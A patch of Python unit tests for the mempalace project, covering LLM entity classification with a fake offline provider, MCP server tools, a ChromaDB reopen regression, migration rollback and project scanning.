||||
|
||||
Uses a fake provider for deterministic, offline tests. No network.
|
||||
"""
|
||||
|
||||
from dataclasses import dataclass
|
||||
|
||||
|
||||
from mempalace.llm_client import LLMError, LLMResponse
|
||||
from mempalace.llm_refine import (
|
||||
_apply_classifications,
|
||||
_build_user_prompt,
|
||||
_collect_contexts,
|
||||
_extract_json_candidates,
|
||||
_is_authoritative_person,
|
||||
_is_authoritative_project,
|
||||
_parse_response,
|
||||
collect_corpus_text,
|
||||
refine_entities,
|
||||
)
|
||||
|
||||
|
||||
# ── fake provider ───────────────────────────────────────────────────────
|
||||
|
||||
|
||||
@dataclass
|
||||
class FakeProvider:
|
||||
"""Returns a caller-supplied JSON string on every classify call."""
|
||||
|
||||
response_text: str = ""
|
||||
should_raise: Exception = None
|
||||
call_count: int = 0
|
||||
interrupt_on_call: int = -1
|
||||
|
||||
def classify(self, system, user, json_mode=True):
|
||||
self.call_count += 1
|
||||
if self.call_count == self.interrupt_on_call:
|
||||
raise KeyboardInterrupt()
|
||||
if self.should_raise is not None:
|
||||
raise self.should_raise
|
||||
return LLMResponse(text=self.response_text, model="fake", provider="fake", raw={})
|
||||
|
||||
def check_available(self):
|
||||
return True, "ok"
|
||||
|
||||
|
||||
# ── _collect_contexts ───────────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_collect_contexts_finds_matches():
|
||||
lines = [
|
||||
"Something about Alice",
|
||||
"Bob said hello",
|
||||
"Alice was here",
|
||||
"Alice walked by",
|
||||
]
|
||||
out = _collect_contexts(lines, "Alice", max_lines=2)
|
||||
assert len(out) == 2
|
||||
assert all("alice" in line.lower() for line in out)
|
||||
|
||||
|
||||
def test_collect_contexts_case_insensitive():
|
||||
lines = ["lowercase alice mention"]
|
||||
out = _collect_contexts(lines, "Alice")
|
||||
assert out == ["lowercase alice mention"]
|
||||
|
||||
|
||||
def test_collect_contexts_uses_token_boundaries():
|
||||
lines = [
|
||||
"forgot should not match",
|
||||
"Go is a language.",
|
||||
"go-v1 shipped.",
|
||||
]
|
||||
out = _collect_contexts(lines, "Go", max_lines=5)
|
||||
assert out == ["Go is a language.", "go-v1 shipped."]
|
||||
|
||||
|
||||
def test_collect_contexts_dedupes_identical_lines():
|
||||
lines = ["Alice", "Alice", "Alice was here"]
|
||||
out = _collect_contexts(lines, "Alice", max_lines=5)
|
||||
# two unique lines, not three
|
||||
assert len(out) == 2
|
||||
|
||||
|
||||
def test_collect_contexts_truncates_long_lines():
|
||||
lines = ["Alice " + ("x" * 1000)]
|
||||
out = _collect_contexts(lines, "Alice")
|
||||
assert len(out[0]) <= 240
|
||||
|
||||
|
||||
def test_collect_contexts_no_matches():
|
||||
assert _collect_contexts(["nothing here"], "Alice") == []
|
||||
|
||||
|
||||
# ── _build_user_prompt ──────────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_build_user_prompt_numbers_and_includes_contexts():
|
||||
prompt = _build_user_prompt(
|
||||
[
|
||||
("Alice", "uncertain", ["Alice said hi"]),
|
||||
("Bob", "project", []),
|
||||
]
|
||||
)
|
||||
assert "1. Alice" in prompt
|
||||
assert "2. Bob" in prompt
|
||||
assert "Alice said hi" in prompt
|
||||
assert "(no context available)" in prompt
|
||||
|
||||
|
||||
# ── _parse_response ─────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_parse_response_canonicalizes_label():
|
||||
text = '{"classifications": [{"name": "Alice", "label": "person", "reason": "x"}]}'
|
||||
out = _parse_response(text, ["Alice"])
|
||||
assert out["Alice"] == ("PERSON", "x")
|
||||
|
||||
|
||||
def test_parse_response_accepts_type_alias():
|
||||
"""LLMs may return 'type' instead of 'label'."""
|
||||
text = '{"classifications": [{"name": "Bob", "type": "PROJECT"}]}'
|
||||
out = _parse_response(text, ["Bob"])
|
||||
assert out["Bob"][0] == "PROJECT"
|
||||
|
||||
|
||||
def test_parse_response_maps_unknown_label_to_ambiguous():
|
||||
text = '{"classifications": [{"name": "X", "label": "WEIRD"}]}'
|
||||
out = _parse_response(text, ["X"])
|
||||
assert out["X"][0] == "AMBIGUOUS"
|
||||
|
||||
|
||||
def test_parse_response_restores_canonical_casing():
|
||||
"""Model may lowercase the name; we restore against the expected set."""
|
||||
text = '{"classifications": [{"name": "mempalace", "label": "PROJECT"}]}'
|
||||
out = _parse_response(text, ["MemPalace"])
|
||||
assert "MemPalace" in out
|
||||
assert out["MemPalace"][0] == "PROJECT"
|
||||
|
||||
|
||||
def test_parse_response_strips_code_fences():
|
||||
text = '```json\n{"classifications": [{"name": "X", "label": "TOPIC"}]}\n```'
|
||||
out = _parse_response(text, ["X"])
|
||||
assert out["X"][0] == "TOPIC"
|
||||
|
||||
|
||||
def test_parse_response_extracts_json_after_prose():
|
||||
text = 'Sure, here is the JSON: {"classifications": [{"name": "X", "label": "TOPIC"}]}'
|
||||
out = _parse_response(text, ["X"])
|
||||
assert out["X"][0] == "TOPIC"
|
||||
|
||||
|
||||
def test_parse_response_extracts_fenced_json_after_prose():
|
||||
text = 'Sure:\n```json\n{"classifications": [{"name": "X", "label": "PROJECT"}]}\n```'
|
||||
out = _parse_response(text, ["X"])
|
||||
assert out["X"][0] == "PROJECT"
|
||||
|
||||
|
||||
def test_extract_json_candidates_handles_embedded_array():
|
||||
text = 'prefix [{"name": "Y", "label": "PERSON"}] suffix'
|
||||
candidates = _extract_json_candidates(text)
|
||||
assert '[{"name": "Y", "label": "PERSON"}]' in candidates
|
||||
|
||||
|
||||
def test_parse_response_ignores_non_json_brackets_before_payload():
|
||||
text = 'See [note] first. JSON: {"classifications": [{"name": "X", "label": "TOPIC"}]}'
|
||||
out = _parse_response(text, ["X"])
|
||||
assert out["X"][0] == "TOPIC"
|
||||
|
||||
|
||||
def test_parse_response_malformed_returns_empty():
|
||||
out = _parse_response("not json at all", ["X"])
|
||||
assert out == {}
|
||||
|
||||
|
||||
def test_parse_response_accepts_top_level_list():
|
||||
"""Some models skip the wrapping object and return the list directly."""
|
||||
text = '[{"name": "Y", "label": "PERSON"}]'
|
||||
out = _parse_response(text, ["Y"])
|
||||
assert out["Y"][0] == "PERSON"
|
||||
|
||||
|
||||
# ── _apply_classifications ──────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_apply_classifications_moves_to_correct_bucket():
|
||||
detected = {
|
||||
"people": [],
|
||||
"projects": [
|
||||
{
|
||||
"name": "Foo",
|
||||
"type": "project",
|
||||
"confidence": 0.8,
|
||||
"frequency": 3,
|
||||
"signals": ["old"],
|
||||
}
|
||||
],
|
||||
"uncertain": [
|
||||
{"name": "Alice", "type": "uncertain", "confidence": 0.4, "frequency": 5, "signals": []}
|
||||
],
|
||||
}
|
||||
decisions = {
|
||||
"Foo": ("PROJECT", "real project name"),
|
||||
"Alice": ("PERSON", "clearly a person"),
|
||||
}
|
||||
new, reclass, dropped = _apply_classifications(detected, decisions)
|
||||
assert len(new["people"]) == 1
|
||||
assert new["people"][0]["name"] == "Alice"
|
||||
assert new["people"][0]["type"] == "person"
|
||||
assert reclass == 1 # Alice moved uncertain -> people
|
||||
assert dropped == 0
|
||||
|
||||
|
||||
def test_apply_classifications_drops_common_word():
|
||||
detected = {
|
||||
"people": [],
|
||||
"projects": [],
|
||||
"uncertain": [
|
||||
{
|
||||
"name": "Never",
|
||||
"type": "uncertain",
|
||||
"confidence": 0.4,
|
||||
"frequency": 20,
|
||||
"signals": [],
|
||||
}
|
||||
],
|
||||
}
|
||||
decisions = {"Never": ("COMMON_WORD", "adverb")}
|
||||
new, _, dropped = _apply_classifications(detected, decisions)
|
||||
assert dropped == 1
|
||||
assert new["uncertain"] == []
|
||||
|
||||
|
||||
def test_apply_classifications_keeps_unvisited_entries():
|
||||
detected = {
|
||||
"people": [
|
||||
{
|
||||
"name": "Igor",
|
||||
"type": "person",
|
||||
"confidence": 0.99,
|
||||
"frequency": 100,
|
||||
"signals": ["git"],
|
||||
}
|
||||
],
|
||||
"projects": [],
|
||||
"uncertain": [],
|
||||
}
|
||||
# No decision for Igor — should stay untouched
|
||||
new, reclass, dropped = _apply_classifications(detected, {})
|
||||
assert new["people"][0]["name"] == "Igor"
|
||||
assert reclass == 0
|
||||
assert dropped == 0
|
||||
|
||||
|
||||
def test_apply_classifications_appends_reason_signal():
|
||||
detected = {
|
||||
"people": [],
|
||||
"projects": [],
|
||||
"uncertain": [
|
||||
{
|
||||
"name": "Foo",
|
||||
"type": "uncertain",
|
||||
"confidence": 0.4,
|
||||
"frequency": 5,
|
||||
"signals": ["regex"],
|
||||
}
|
||||
],
|
||||
}
|
||||
decisions = {"Foo": ("PERSON", "spoken of by name")}
|
||||
new, _, _ = _apply_classifications(detected, decisions)
|
||||
assert any("LLM: person" in s for s in new["people"][0]["signals"])
|
||||
assert any("spoken of by name" in s for s in new["people"][0]["signals"])
|
||||
|
||||
|
||||
def test_apply_classifications_topic_goes_to_topics_bucket():
|
||||
"""TOPIC classifications now route to a dedicated ``topics`` bucket so the
|
||||
miner can use them as cross-wing tunnel signal (issue #1180)."""
|
||||
detected = {
|
||||
"people": [],
|
||||
"projects": [
|
||||
{
|
||||
"name": "Paris",
|
||||
"type": "project",
|
||||
"confidence": 0.7,
|
||||
"frequency": 5,
|
||||
"signals": ["regex"],
|
||||
}
|
||||
],
|
||||
"uncertain": [],
|
||||
}
|
||||
decisions = {"Paris": ("TOPIC", "city, not a project")}
|
||||
new, reclass, _ = _apply_classifications(detected, decisions)
|
||||
assert len(new["projects"]) == 0
|
||||
assert len(new["uncertain"]) == 0
|
||||
assert len(new["topics"]) == 1
|
||||
assert new["topics"][0]["name"] == "Paris"
|
||||
assert new["topics"][0]["type"] == "topic"
|
||||
assert reclass == 1
|
||||
|
||||
|
||||
def test_apply_classifications_ambiguous_still_goes_to_uncertain():
|
||||
detected = {
|
||||
"people": [],
|
||||
"projects": [
|
||||
{
|
||||
"name": "Foo",
|
||||
"type": "project",
|
||||
"confidence": 0.7,
|
||||
"frequency": 5,
|
||||
"signals": ["regex"],
|
||||
}
|
||||
],
|
||||
"uncertain": [],
|
||||
}
|
||||
decisions = {"Foo": ("AMBIGUOUS", "context insufficient")}
|
||||
new, reclass, _ = _apply_classifications(detected, decisions)
|
||||
assert len(new["projects"]) == 0
|
||||
assert len(new["uncertain"]) == 1
|
||||
assert new["uncertain"][0]["name"] == "Foo"
|
||||
assert reclass == 1
|
||||
|
||||
|
||||
def test_apply_classifications_can_block_llm_only_project_promotion():
|
||||
detected = {
|
||||
"people": [],
|
||||
"projects": [],
|
||||
"uncertain": [
|
||||
{
|
||||
"name": "Terraform",
|
||||
"type": "uncertain",
|
||||
"confidence": 0.4,
|
||||
"frequency": 5,
|
||||
"signals": ["regex"],
|
||||
}
|
||||
],
|
||||
}
|
||||
decisions = {"Terraform": ("PROJECT", "tool")}
|
||||
new, reclass, _ = _apply_classifications(
|
||||
detected,
|
||||
decisions,
|
||||
allow_project_promotions=False,
|
||||
)
|
||||
assert new["projects"] == []
|
||||
assert new["uncertain"][0]["name"] == "Terraform"
|
||||
assert new["uncertain"][0]["type"] == "uncertain"
|
||||
assert reclass == 0
|
||||
|
||||
|
||||
def test_apply_classifications_allows_project_promotion_for_prose_only_mode():
|
||||
detected = {
|
||||
"people": [],
|
||||
"projects": [],
|
||||
"uncertain": [
|
||||
{
|
||||
"name": "Project Aurora",
|
||||
"type": "uncertain",
|
||||
"confidence": 0.4,
|
||||
"frequency": 5,
|
||||
"signals": ["regex"],
|
||||
}
|
||||
],
|
||||
}
|
||||
decisions = {"Project Aurora": ("PROJECT", "user effort")}
|
||||
new, reclass, _ = _apply_classifications(detected, decisions)
|
||||
assert new["projects"][0]["name"] == "Project Aurora"
|
||||
assert new["projects"][0]["type"] == "project"
|
||||
assert reclass == 1
|
||||
|
||||
|
||||
# ── authoritative source filters ────────────────────────────────────────
|
||||
|
||||
|
||||
def test_is_authoritative_person_requires_git_signal():
|
||||
assert _is_authoritative_person({"signals": ["5 commits across 2 repos"]})
|
||||
assert not _is_authoritative_person({"signals": ["pronoun nearby (5x)"]})
|
||||
|
||||
|
||||
def test_is_authoritative_project_requires_manifest_or_git_signal():
|
||||
assert _is_authoritative_project({"signals": ["package.json, 12 of your commits"]})
|
||||
assert _is_authoritative_project({"signals": ["57 commits (none by you)"]})
|
||||
assert not _is_authoritative_project({"signals": ["code file reference (5x)"]})
|
||||
|
||||
|
||||
# ── refine_entities ─────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def _sample_detected():
|
||||
return {
|
||||
"people": [
|
||||
{
|
||||
"name": "Igor",
|
||||
"type": "person",
|
||||
"confidence": 0.99,
|
||||
"frequency": 100,
|
||||
"signals": ["git"],
|
||||
}
|
||||
],
|
||||
"projects": [
|
||||
{
|
||||
"name": "Foo",
|
||||
"type": "project",
|
||||
"confidence": 0.7,
|
||||
"frequency": 5,
|
||||
"signals": ["regex"],
|
||||
}
|
||||
],
|
||||
"uncertain": [
|
||||
{
|
||||
"name": "Never",
|
||||
"type": "uncertain",
|
||||
"confidence": 0.4,
|
||||
"frequency": 10,
|
||||
"signals": [],
|
||||
},
|
||||
{
|
||||
"name": "Alice",
|
||||
"type": "uncertain",
|
||||
"confidence": 0.4,
|
||||
"frequency": 5,
|
||||
"signals": [],
|
||||
},
|
||||
],
|
||||
}
|
||||
|
||||
|
||||
def test_refine_entities_end_to_end_with_fake_provider():
|
||||
provider = FakeProvider(
|
||||
response_text=(
|
||||
'{"classifications": ['
|
||||
'{"name": "Foo", "label": "PROJECT", "reason": "real"},'
|
||||
'{"name": "Never", "label": "COMMON_WORD"},'
|
||||
'{"name": "Alice", "label": "PERSON", "reason": "name"}'
|
||||
"]}"
|
||||
)
|
||||
)
|
||||
result = refine_entities(
|
||||
_sample_detected(),
|
||||
corpus_text="Alice said hi. Foo was shipped. Never gonna.",
|
||||
provider=provider,
|
||||
show_progress=False,
|
||||
)
|
||||
assert result.batches_total == 1
|
||||
assert result.batches_completed == 1
|
||||
assert not result.cancelled
|
||||
# Alice → people, Never → dropped, Foo stays in projects
|
||||
names_in_people = [e["name"] for e in result.merged["people"]]
|
||||
assert "Alice" in names_in_people
|
||||
assert "Igor" in names_in_people # untouched
|
||||
assert "Never" not in [e["name"] for e in result.merged["uncertain"]]
|
||||
assert result.dropped == 1
|
||||
|
||||
|
||||
def test_refine_entities_skips_high_confidence_projects():
|
||||
"""Manifest-backed projects (conf >= 0.95) aren't sent to the LLM."""
|
||||
detected = {
|
||||
"people": [],
|
||||
"projects": [
|
||||
{
|
||||
"name": "manifest-backed",
|
||||
"type": "project",
|
||||
"confidence": 0.99,
|
||||
"frequency": 50,
|
||||
"signals": ["pyproject.toml"],
|
||||
}
|
||||
],
|
||||
"uncertain": [],
|
||||
}
|
||||
provider = FakeProvider(response_text='{"classifications": []}')
|
||||
refine_entities(detected, "", provider, show_progress=False)
|
||||
# Should not have called the LLM at all
|
||||
assert provider.call_count == 0
|
||||
|
||||
|
||||
def test_refine_entities_refines_high_confidence_regex_projects():
|
||||
"""High-confidence regex projects still need LLM review without source signal."""
|
||||
detected = {
|
||||
"people": [],
|
||||
"projects": [
|
||||
{
|
||||
"name": "OpenAPI",
|
||||
"type": "project",
|
||||
"confidence": 0.99,
|
||||
"frequency": 5,
|
||||
"signals": ["code file reference (5x)"],
|
||||
}
|
||||
],
|
||||
"uncertain": [],
|
||||
}
|
||||
provider = FakeProvider(
|
||||
response_text=(
|
||||
'{"classifications": [{"name": "OpenAPI", "label": "TOPIC", "reason": "technology"}]}'
|
||||
)
|
||||
)
|
||||
result = refine_entities(detected, "OpenAPI schemas", provider, show_progress=False)
|
||||
assert provider.call_count == 1
|
||||
assert result.reclassified == 1
|
||||
assert result.merged["projects"] == []
|
||||
# TOPIC labels go to the dedicated ``topics`` bucket so the miner can
|
||||
# use them for cross-wing tunnel computation (issue #1180).
|
||||
assert result.merged["topics"][0]["name"] == "OpenAPI"
|
||||
|
||||
|
||||
def test_refine_entities_refines_regex_people_but_skips_git_people():
|
||||
detected = {
|
||||
"people": [
|
||||
{
|
||||
"name": "Igor Lins e Silva",
|
||||
"type": "person",
|
||||
"confidence": 0.99,
|
||||
"frequency": 100,
|
||||
"signals": ["100 commits across 3 repos"],
|
||||
},
|
||||
{
|
||||
"name": "Tool",
|
||||
"type": "person",
|
||||
"confidence": 0.99,
|
||||
"frequency": 5,
|
||||
"signals": ["pronoun nearby (5x)"],
|
||||
},
|
||||
],
|
||||
"projects": [],
|
||||
"uncertain": [],
|
||||
}
|
||||
provider = FakeProvider(
|
||||
response_text='{"classifications": [{"name": "Tool", "label": "COMMON_WORD"}]}'
|
||||
)
|
||||
result = refine_entities(detected, "Tool is a common noun.", provider, show_progress=False)
|
||||
assert provider.call_count == 1
|
||||
names = [e["name"] for e in result.merged["people"]]
|
||||
assert names == ["Igor Lins e Silva"]
|
||||
assert result.dropped == 1
|
||||
|
||||
|
||||
def test_refine_entities_can_keep_llm_only_project_in_uncertain():
|
||||
detected = {
|
||||
"people": [],
|
||||
"projects": [],
|
||||
"uncertain": [
|
||||
{
|
||||
"name": "Terraform",
|
||||
"type": "uncertain",
|
||||
"confidence": 0.4,
|
||||
"frequency": 9,
|
||||
"signals": ["regex"],
|
||||
}
|
||||
],
|
||||
}
|
||||
provider = FakeProvider(
|
||||
response_text='{"classifications": [{"name": "Terraform", "label": "PROJECT"}]}'
|
||||
)
|
||||
result = refine_entities(
|
||||
detected,
|
||||
"Terraform config",
|
||||
provider,
|
||||
show_progress=False,
|
||||
allow_project_promotions=False,
|
||||
)
|
||||
assert result.merged["projects"] == []
|
||||
assert result.merged["uncertain"][0]["name"] == "Terraform"
|
||||
assert any("LLM: project" in s for s in result.merged["uncertain"][0]["signals"])
|
||||
|
||||
|
||||
def test_refine_entities_empty_candidates_returns_noop():
|
||||
detected = {"people": [], "projects": [], "uncertain": []}
|
||||
provider = FakeProvider()
|
||||
result = refine_entities(detected, "", provider, show_progress=False)
|
||||
assert result.batches_total == 0
|
||||
assert result.reclassified == 0
|
||||
assert result.merged == detected
|
||||
|
||||
|
||||
def test_refine_entities_handles_batch_error_gracefully():
|
||||
provider = FakeProvider(should_raise=LLMError("transport broke"))
|
||||
result = refine_entities(
|
||||
_sample_detected(),
|
||||
corpus_text="",
|
||||
provider=provider,
|
||||
show_progress=False,
|
||||
)
|
||||
assert result.errors
|
||||
assert "transport broke" in result.errors[0]
|
||||
# Detected unchanged (no successful decisions)
|
||||
assert result.reclassified == 0
|
||||
assert result.cancelled is False
|
||||
|
||||
|
||||
def test_refine_entities_ctrl_c_returns_partial():
|
||||
"""Ctrl-C during refinement marks cancelled=True and returns partial result."""
|
||||
# Two batches' worth of candidates
|
||||
detected = {
|
||||
"people": [],
|
||||
"projects": [],
|
||||
"uncertain": [
|
||||
{
|
||||
"name": f"Cand{i}",
|
||||
"type": "uncertain",
|
||||
"confidence": 0.4,
|
||||
"frequency": 3,
|
||||
"signals": [],
|
||||
}
|
||||
for i in range(50)
|
||||
],
|
||||
}
|
||||
provider = FakeProvider(
|
||||
response_text='{"classifications": []}',
|
||||
interrupt_on_call=2, # interrupt on second batch
|
||||
)
|
||||
result = refine_entities(detected, "", provider, batch_size=25, show_progress=False)
|
||||
assert result.cancelled is True
|
||||
assert result.batches_completed == 1 # first batch finished; second interrupted
|
||||
assert result.batches_total == 2
|
||||
|
||||
|
||||
def test_refine_entities_malformed_response_recorded_as_error():
|
||||
provider = FakeProvider(response_text="not json")
|
||||
result = refine_entities(_sample_detected(), "", provider, show_progress=False)
|
||||
assert any("could not parse" in e for e in result.errors)
|
||||
|
||||
|
||||
# ── collect_corpus_text ─────────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_collect_corpus_text_reads_prose_files(tmp_path):
|
||||
(tmp_path / "a.md").write_text("hello world")
|
||||
(tmp_path / "b.txt").write_text("more prose")
|
||||
(tmp_path / "c.py").write_text("import os") # not prose, skipped
|
||||
text = collect_corpus_text(str(tmp_path))
|
||||
assert "hello world" in text
|
||||
assert "more prose" in text
|
||||
assert "import os" not in text
|
||||
|
||||
|
||||
def test_collect_corpus_text_prefers_recent(tmp_path):
|
||||
import os
|
||||
import time
|
||||
|
||||
old = tmp_path / "old.md"
|
||||
old.write_text("OLD_CONTENT")
|
||||
time.sleep(0.01)
|
||||
new = tmp_path / "new.md"
|
||||
new.write_text("NEW_CONTENT")
|
||||
# Force old to be older still
|
||||
old_mtime = old.stat().st_mtime - 3600
|
||||
os.utime(old, (old_mtime, old_mtime))
|
||||
|
||||
text = collect_corpus_text(str(tmp_path), max_files=1)
|
||||
assert "NEW_CONTENT" in text
|
||||
assert "OLD_CONTENT" not in text
|
||||
|
||||
|
||||
def test_collect_corpus_text_missing_dir_returns_empty(tmp_path):
|
||||
assert collect_corpus_text(str(tmp_path / "nope")) == ""
|
||||
|
||||
|
||||
def test_collect_corpus_text_caps_bytes_per_file(tmp_path):
|
||||
big = tmp_path / "big.md"
|
||||
big.write_text("x" * 100_000)
|
||||
text = collect_corpus_text(str(tmp_path), max_files=1, max_bytes_per_file=500)
|
||||
assert len(text) <= 600 # 500 + newlines
|
||||
@@ -514,6 +514,25 @@ class TestWriteTools:
|
||||
)
|
||||
assert result["is_duplicate"] is False
|
||||
|
||||
def test_check_duplicate_short_circuits_when_vector_disabled(self, monkeypatch):
|
||||
from mempalace import mcp_server
|
||||
|
||||
monkeypatch.setattr(
|
||||
mcp_server,
|
||||
"hnsw_capacity_status",
|
||||
lambda *_args, **_kwargs: {"diverged": True, "message": "capacity mismatch"},
|
||||
)
|
||||
|
||||
def fail_get_collection():
|
||||
raise AssertionError("_get_collection must not run when vector search is disabled")
|
||||
|
||||
monkeypatch.setattr(mcp_server, "_get_collection", fail_get_collection)
|
||||
result = mcp_server.tool_check_duplicate("content")
|
||||
|
||||
assert result["is_duplicate"] is False
|
||||
assert result["vector_disabled"] is True
|
||||
assert result["vector_disabled_reason"] == "capacity mismatch"
|
||||
|
||||
def test_get_drawer(self, monkeypatch, config, palace_path, seeded_collection, kg):
|
||||
_patch_mcp_server(monkeypatch, config, kg)
|
||||
from mempalace.mcp_server import tool_get_drawer
|
||||
@@ -740,6 +759,40 @@ class TestDiaryTools:
|
||||
assert entry1 in contents
|
||||
assert entry2 in contents
|
||||
|
||||
def test_diary_read_empty_wing_spans_all_wings(self, monkeypatch, config, palace_path, kg):
|
||||
"""diary_read(wing='') must return entries from every wing this agent
|
||||
wrote to. Hooks write to project-derived wings (#659); a reader that
|
||||
silos by default wing would never see those entries."""
|
||||
_patch_mcp_server(monkeypatch, config, kg)
|
||||
_client, _col = _get_collection(palace_path, create=True)
|
||||
del _client
|
||||
from mempalace.mcp_server import tool_diary_read, tool_diary_write
|
||||
|
||||
w1 = tool_diary_write(
|
||||
agent_name="TestAgent",
|
||||
entry="default-wing entry",
|
||||
topic="general",
|
||||
)
|
||||
w2 = tool_diary_write(
|
||||
agent_name="TestAgent",
|
||||
entry="project-wing entry",
|
||||
topic="general",
|
||||
wing="wing_someproject",
|
||||
)
|
||||
assert w1["success"] and w2["success"]
|
||||
|
||||
# Empty wing → return both entries
|
||||
r = tool_diary_read(agent_name="TestAgent", wing="")
|
||||
assert r["total"] == 2
|
||||
contents = {e["content"] for e in r["entries"]}
|
||||
assert "default-wing entry" in contents
|
||||
assert "project-wing entry" in contents
|
||||
|
||||
# Explicit wing → return only that wing's entries
|
||||
r_scoped = tool_diary_read(agent_name="TestAgent", wing="wing_someproject")
|
||||
assert r_scoped["total"] == 1
|
||||
assert r_scoped["entries"][0]["content"] == "project-wing entry"
|
||||
|
||||
|
||||
# ── Cache Invalidation (inode/mtime) ──────────────────────────────────
|
||||
|
||||
@@ -840,3 +893,48 @@ class TestCacheInvalidation:
|
||||
assert result["success"] is True
|
||||
assert "Reconnected" in result["message"]
|
||||
assert isinstance(result["drawers"], int)
|
||||
|
||||
def test_get_collection_create_true_avoids_get_or_create_on_reopen(
|
||||
self, monkeypatch, config, palace_path, kg
|
||||
):
|
||||
"""Regression for the MCP-server half of #1262.
|
||||
|
||||
ChromaDB 1.5.x's Rust bindings SIGSEGV when
|
||||
``client.get_or_create_collection`` is called with metadata that
|
||||
differs from the collection's stored metadata. The Stop hook
|
||||
path (``tool_diary_write`` -> ``_get_collection(create=True)``)
|
||||
was reaching that codepath on every session-end; #1262 fixed
|
||||
the equivalent crash class in ``ChromaBackend`` but left this
|
||||
site untouched. ``_get_collection(create=True)`` must call
|
||||
``client.get_collection`` first and only fall back to
|
||||
``client.create_collection`` when the collection does not yet
|
||||
exist on disk.
|
||||
"""
|
||||
_patch_mcp_server(monkeypatch, config, kg)
|
||||
from mempalace import mcp_server
|
||||
|
||||
col1 = mcp_server._get_collection(create=True)
|
||||
assert col1 is not None
|
||||
|
||||
client = mcp_server._client_cache
|
||||
assert client is not None
|
||||
|
||||
# Patch at the class level — chromadb's mtime-change detection
|
||||
# may rebuild the client between calls, so an instance-level
|
||||
# spy would not survive.
|
||||
client_cls = type(client)
|
||||
calls: list[tuple] = []
|
||||
|
||||
def _spy(self, *args, **kwargs):
|
||||
calls.append((args, kwargs))
|
||||
raise AssertionError(
|
||||
"get_or_create_collection must not be called on reopen "
|
||||
"(SIGSEGV path on metadata mismatch)"
|
||||
)
|
||||
|
||||
monkeypatch.setattr(client_cls, "get_or_create_collection", _spy)
|
||||
mcp_server._collection_cache = None
|
||||
|
||||
col2 = mcp_server._get_collection(create=True)
|
||||
assert col2 is not None
|
||||
assert calls == [], f"get_or_create_collection was called: {calls}"
|
||||
|
||||
+56
-1
@@ -1,9 +1,10 @@
|
||||
"""Tests for destructive-operation safety in mempalace.migrate."""
|
||||
|
||||
import os
|
||||
from types import SimpleNamespace
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
from mempalace.migrate import migrate
|
||||
from mempalace.migrate import _restore_stale_palace, migrate
|
||||
|
||||
|
||||
def test_migrate_requires_palace_database(tmp_path, capsys):
|
||||
@@ -46,3 +47,57 @@ def test_migrate_aborts_without_confirmation(tmp_path, capsys):
|
||||
assert "Aborted." in out
|
||||
mock_copytree.assert_not_called()
|
||||
mock_rmtree.assert_not_called()
|
||||
|
||||
|
||||
def test_restore_stale_palace_with_clean_destination(tmp_path):
|
||||
"""Rollback when no partial copy exists at palace_path."""
|
||||
palace_path = tmp_path / "palace"
|
||||
stale_path = tmp_path / "palace.old"
|
||||
stale_path.mkdir()
|
||||
(stale_path / "chroma.sqlite3").write_bytes(b"original")
|
||||
|
||||
_restore_stale_palace(str(palace_path), str(stale_path))
|
||||
|
||||
assert palace_path.is_dir()
|
||||
assert (palace_path / "chroma.sqlite3").read_bytes() == b"original"
|
||||
assert not stale_path.exists()
|
||||
|
||||
|
||||
def test_restore_stale_palace_clears_partial_copy(tmp_path):
|
||||
"""Rollback must remove a partially-copied palace_path before restoring.
|
||||
|
||||
Simulates the Qodo-reported hazard: shutil.move() began creating
|
||||
palace_path, then failed. A bare os.replace(stale, palace_path) would
|
||||
trip on the existing destination; _restore_stale_palace must clear it.
|
||||
"""
|
||||
palace_path = tmp_path / "palace"
|
||||
stale_path = tmp_path / "palace.old"
|
||||
|
||||
stale_path.mkdir()
|
||||
(stale_path / "chroma.sqlite3").write_bytes(b"original")
|
||||
|
||||
palace_path.mkdir()
|
||||
(palace_path / "half-copied.bin").write_bytes(b"garbage")
|
||||
|
||||
_restore_stale_palace(str(palace_path), str(stale_path))
|
||||
|
||||
assert palace_path.is_dir()
|
||||
assert (palace_path / "chroma.sqlite3").read_bytes() == b"original"
|
||||
assert not (palace_path / "half-copied.bin").exists()
|
||||
assert not stale_path.exists()
|
||||
|
||||
|
||||
def test_restore_stale_palace_logs_and_swallows_on_failure(tmp_path, capsys):
|
||||
"""If restore itself fails, log both paths — don't raise from rollback."""
|
||||
palace_path = tmp_path / "palace"
|
||||
stale_path = tmp_path / "palace.old"
|
||||
stale_path.mkdir()
|
||||
|
||||
# Force os.replace to fail deterministically.
|
||||
with patch("mempalace.migrate.os.replace", side_effect=OSError("boom")):
|
||||
_restore_stale_palace(str(palace_path), str(stale_path))
|
||||
|
||||
out = capsys.readouterr().out
|
||||
assert "CRITICAL" in out
|
||||
assert os.fspath(palace_path) in out
|
||||
assert os.fspath(stale_path) in out
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import os
|
||||
import shlex
|
||||
import shutil
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
@@ -66,6 +67,34 @@ def test_load_config_uses_defaults_when_yaml_missing():
|
||||
shutil.rmtree(tmpdir)
|
||||
|
||||
|
||||
def test_load_config_no_yaml_normalizes_hyphenated_wing():
|
||||
"""Fallback wing name is normalized so it matches topics_by_wing keys.
|
||||
|
||||
Regression for the no-yaml branch of #1194: ``cmd_init`` writes
|
||||
``topics_by_wing`` under the normalized slug, so the miner's
|
||||
fallback wing must use the same normalization or the tunnel lookup
|
||||
misses every key for hyphenated dirnames.
|
||||
"""
|
||||
parent = tempfile.mkdtemp()
|
||||
try:
|
||||
project_root = Path(parent) / "my-cool-app"
|
||||
project_root.mkdir()
|
||||
config = load_config(str(project_root))
|
||||
assert config["wing"] == "my_cool_app"
|
||||
finally:
|
||||
shutil.rmtree(parent)
|
||||
|
||||
|
||||
def test_scan_project_skips_mempalace_generated_files():
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
project_root = Path(tmpdir).resolve()
|
||||
write_file(project_root / "entities.json", '{"people": [], "projects": []}')
|
||||
write_file(project_root / "mempalace.yaml", "wing: test\nrooms: []\n")
|
||||
write_file(project_root / "notes.md", "real user content\n" * 10)
|
||||
|
||||
assert scanned_files(project_root) == ["notes.md"]
|
||||
|
||||
|
||||
def test_scan_project_respects_gitignore():
|
||||
tmpdir = tempfile.mkdtemp()
|
||||
try:
|
